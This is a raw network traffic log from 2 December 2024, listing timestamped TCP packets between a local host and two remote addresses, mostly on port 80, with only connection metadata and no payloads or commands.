Dec 2, 2024 07:37:54.801744938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.802525043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.802580118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.802589893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.802634954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.803415060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.803502083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.803536892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.803581953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.804337025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.804389000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.804457903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.804532051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.805239916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.805310965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.805368900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.805433035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.806229115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.806241989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.806334972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.807032108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.807099104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.807128906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.807187080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.807919979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.807967901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.808023930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.808080912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.808837891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.808892012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.808969021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.809019089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.809737921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.809801102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.809834003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.809915066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.810703039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.810769081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.810769081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.810818911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.811506987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.811572075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.811630964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.811676979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.812443018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.812509060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.812540054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.812601089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.813363075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.813415051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.813469887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.813529968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.814276934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.814354897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.814368010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.814445972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.815133095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.815202951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.815227985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.815284014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.816044092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.816097975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.816170931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.816241026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.816982031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.817040920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.817126989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.817183018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.817847013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.817903042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.817955017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.818068981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.818727016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.818804979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.885029078 CET	443	49831	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:54.885713100 CET	49831	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:54.885746002 CET	443	49831	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:54.886260986 CET	49831	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:54.886267900 CET	443	49831	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:54.920175076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.920190096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.920260906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.920595884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.920646906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.920656919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.920716047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.921334982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.921401024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.921436071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.921479940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.922235012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.922318935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.922333956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.922384024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.923167944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.923229933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.923265934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.923333883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.924010038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.924062967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.924133062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.924225092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.924911976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.924997091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.925025940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.925075054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.925822020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.925889969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.925916910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.925928116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.926717997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.926778078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.926816940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.926851988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.927625895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.927687883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.927726030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.927835941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.928525925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.928591013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.928667068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.928750038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.929424047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.929491997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.929526091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.929586887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.930320024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.930412054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.930428982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.930481911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.931232929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.931322098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.931365013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.931421041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.932178974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.932240963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.932243109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.932292938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.933052063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.933114052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.933151960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.933206081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.933978081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.934025049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.934061050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.934176922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.934844971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.934943914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.934945107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.934992075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.935750008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.935813904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.935857058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.935944080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.936645031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.936718941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.936803102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.936850071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.937542915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.937596083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.990930080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.991029024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.991064072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.991111040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.991401911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.991482019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.991506100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.991532087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.992291927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.992363930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.992394924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.992449999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.993177891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.993231058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.993268967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.993377924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.994100094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.994154930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.994187117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.994246960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.994999886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.995058060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.995109081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.995167971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.995907068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.995963097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.996012926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.996076107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.996834993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.996906996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.996977091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.997042894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.997725964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.997842073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.997859955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.997886896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.999320984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.999385118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.999713898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.999772072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.000502110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.000521898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.000559092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.000575066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.000842094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.000915051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.000930071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.000994921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.001331091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.001384974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.001394033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.001437902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.002207041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.002260923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.002310991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.002363920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.002538919 CET	443	49830	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.003197908 CET	49830	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.003236055 CET	443	49830	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.003304958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.003341913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.003374100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.003374100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.003741980 CET	49830	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.003748894 CET	443	49830	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.004010916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.004060030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.004117012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.004162073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.004916906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.004971027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.005011082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.005083084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.005827904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.005897999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.005925894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.006051064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.006720066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.006783962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.006824970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.006870985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.007646084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.007673979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.007704973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.007704973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.008537054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.008600950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.008621931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.008670092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.009464025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.009511948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.009545088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.009589911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.010354042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.010390043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.010432959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.010432959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.011255980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.011333942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.011358023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.011399031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.012151003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.012224913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.012265921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.012315989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.013056993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.013132095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.013160944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.013209105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.013942003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.014022112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.014060020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.014111042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.014847040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.014900923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.014939070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.014988899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.015739918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.015786886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.015870094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.015949011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.016637087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.016681910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.016736031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.016781092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.017556906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.017647982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.017663956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.017708063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.018479109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.018626928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.018680096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.019377947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.019493103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.019550085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.020268917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.020343065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.113578081 CET	443	49833	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.114211082 CET	49833	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.114249945 CET	443	49833	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.114746094 CET	49833	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:55.114753008 CET	443	49833	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:55.121777058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.121848106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.121876955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.122040987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.122205973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.122333050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.122355938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.122384071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.123100996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.123183966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.123275042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.124051094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.124113083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.124130964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.124155045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.124932051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.124979019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.125029087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.125406981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.125839949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.125852108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.125948906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.126708031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.126811981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.126882076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.127612114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.127686977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.127715111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.127795935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.128534079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.128617048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.128638029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.128850937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.129458904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.129561901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.129627943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:55.130337000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:55.130393028 CET	49823	80	192.168.2.6	185.215.113.206
